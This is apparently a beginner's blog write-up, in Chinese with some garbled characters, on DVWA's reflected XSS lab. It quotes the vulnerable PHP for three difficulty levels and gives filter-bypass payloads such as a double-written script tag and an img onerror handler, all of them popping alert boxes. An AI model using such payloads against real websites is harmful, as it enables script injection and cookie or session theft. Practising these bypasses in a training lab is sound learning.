DVWA之XSS (Reflected)
XSS,全稱Cross Site Scripting,即跨站腳本攻擊,也相當于是一種代碼注入攻擊,hacker在頁面中注入惡意的腳本代碼,當受害者訪問該頁面時,惡意代碼會在其瀏覽器上執(zhí)行(這里要說明下,XSS不僅僅限于JavaScript,還包括flash等其它腳本語言)。
根據(jù)注入的惡意代碼是否存儲在服務器數(shù)據(jù)庫中,XSS可以分為存儲型的XSS與反射型的XSS。
還有DOM型的XSS由于其特殊性,常常被分為第三種,這是一種基于DOM樹的XSS。例如:服務器端經(jīng)常使用document.boby.innerHtml等函數(shù)動態(tài)生成html頁面,如果這些函數(shù)在引用某些變量時沒有進行過濾或檢查,就會產(chǎn)生DOM型的XSS。
注:DOM型XSS可能是存儲型,也有可能是反射型。
XSS利用的常見用途:
盜取用戶cookies、劫持會話、流量劫持、網(wǎng)頁掛馬、DDOS、提升權限…
這篇文章學習反射型XSS:
反射型XSS:非持久化,需要欺騙用戶自己去點擊帶有特定參數(shù)的XSS代碼鏈接才能觸發(fā)引起(服務器中沒有這樣的頁面和內(nèi)容),一般容易出現(xiàn)在搜索頁面。
low level
view-source:
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>沒有任何過濾,直接上測試代碼:<script>alert(1)</script>
彈窗即OK!
medium level
view-source:
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>利用str_replace將<script>替換為空,這個有以下方式繞過:
1、雙寫繞過
payload:<scr<script>ipt>alert(1)</script>
原理將<scr<script>ipt>里邊的<script>替換為空的時候前后的代碼重新組成
3、利用其他標簽繞過
例如:<body onclick=alert(1)>
<a href='' οnclick=alert(1)>click</a>
<a href='' οnclick=alert(/ss/)>click</a>
均可以彈窗!
high level
view-source:
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>看代碼preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'過濾了所有<script>的情況,因此以上方法不適用了,換一種思路:
使用其他標簽利用src注入惡意的JS代碼可以繞過上面的過濾:
例如:
payload:<img src=1 onerror=alert('1')>
還可以用其他標簽,不過沒有一個個去試…
**
impossible
**
view-source:
其他的會后續(xù)慢慢更新,盡可能提高自己的能力 。
【小白初試】
總結
以上是生活随笔為你收集整理的DVWA之XSS (Reflected)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 校园网组网计算机中心的配置,如何设置校园
- 下一篇: BeanUtils工具类常用方法